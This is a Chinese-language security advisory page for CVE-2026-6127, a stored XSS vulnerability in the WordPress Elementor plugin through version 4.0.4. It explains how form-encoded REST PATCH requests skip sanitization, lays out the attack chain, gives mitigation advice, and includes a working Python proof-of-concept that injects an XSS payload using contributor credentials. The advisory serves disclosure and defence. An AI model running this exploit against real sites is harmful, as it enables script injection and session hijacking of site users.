IPBUF安全漏洞报告
English
CVE-2026-6127 CVSS 6.4 中危

CVE-2026-6127 WordPress Elementor存储型XSS漏洞

披露日期: 2026-05-01

漏洞信息

漏洞编号
CVE-2026-6127
漏洞类型
存储型跨站脚本
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Elementor Website Builder plugin

相关标签

Stored XSSWordPressElementorCVE-2026-6127Web SecurityAuthentication Required

漏洞概述

WordPress Elementor Website Builder插件在4.0.4及之前版本中存在存储型跨站脚本(XSS)漏洞。该漏洞源于插件在处理表单编码的REST API请求时,对`_elementor_data`元字段输入清理不足。尽管该字段在REST API中注册,但缺少清理回调,且依赖的过滤器仅处理JSON编码的请求体。具有投稿者及以上权限的认证攻击者可利用此漏洞,通过发送特制的表单编码PATCH请求绕过清理机制,注入恶意Web脚本。当用户访问被注入的页面时,脚本将被执行,从而危及网站安全。

技术细节

该漏洞的核心在于WordPress Elementor插件对REST API请求体处理逻辑的缺陷。插件将`_elementor_data`元字段注册为`show_in_rest`,但未指定`sanitize_callback`,而是依赖`rest_pre_insert_post`过滤器中的`sanitize_post_data`函数进行数据清洗。然而,该函数仅当请求体被成功`json_decode`为JSON对象时才执行清理逻辑。当攻击者发送`Content-Type: application/x-www-form-urlencoded`的PATCH请求时,`json_decode`对原始请求体解析失败返回`null`,导致清理逻辑被完全跳过。未经过滤的数据随后通过`update_post_meta()`直接存入数据库。当页面被渲染时,HTML小部件等组件通过`print_unescaped_setting()`函数直接输出存储的数据,且未进行转义,导致攻击者注入的JavaScript代码在管理员或其他用户浏览页面时触发,可能造成会话劫持或恶意操作。

攻击链分析

STEP 1
侦察
攻击者识别出目标网站使用了存在漏洞的Elementor插件版本(<= 4.0.4),并获取到一个具有投稿者(Contributor)及以上权限的账户。
STEP 2
利用
攻击者构造一个特制的HTTP PATCH请求,使用`application/x-www-form-urlencoded`作为Content-Type,并在`_elementor_data`字段中包含XSS Payload。
STEP 3
绕过
服务器端尝试解析请求体,由于Content-Type不匹配,`json_decode()`返回null,导致依赖该函数的`sanitize_post_data`清理逻辑被跳过。
STEP 4
存储
未经过滤的恶意数据通过`update_post_meta()`函数被存储到WordPress数据库中。
STEP 5
执行
当管理员或普通用户访问被修改的页面时,Elementor渲染小部件调用`print_unescaped_setting()`,直接输出恶意脚本并在浏览器中执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_url = "https://example.com/wp-json/wp/v2/posts/POST_ID" username = "contributor" password = "password" # Authenticate session = requests.Session() session.auth = (username, password) # XSS Payload targeting the HTML widget sink xss_payload = '<img src=x onerror=alert(1)>' # The vulnerability is triggered by using form-encoding instead of JSON # The server expects JSON but receives form-data, causing json_decode to fail # and sanitization to be skipped. headers = { "Content-Type": "application/x-www-form-urlencoded" } # Malicious data structure for _elementor_data # We send it as a string representation to bypass the sanitization check malicious_data = f'[{{"id":"1","elType":"widget","settings":{{"html":"{xss_payload}"}},"widgetType":"html"}}]' payload = { "title": "XSS Test via Elementor", "content": "This post contains a stored XSS payload.", "meta[_elementor_data]": malicious_data } response = session.patch(target_url, headers=headers, data=payload) if response.status_code == 200: print("[+] Payload injected successfully!") print("[+] Visit the page to trigger the XSS.") else: print(f"[-] Failed to inject payload. Status: {response.status_code}") print(response.text)

影响范围

Elementor Website Builder <= 4.0.4

防御指南

临时缓解措施
建议立即将WordPress Elementor插件更新到最新版本以修复此漏洞。如果无法立即更新,应暂时撤销非管理员用户的编辑权限,特别是投稿者的内容发布能力。此外,可部署Web应用防火墙(WAF)规则,检测并拦截针对`/wp-json/wp/v2/`接口的异常表单编码PATCH请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表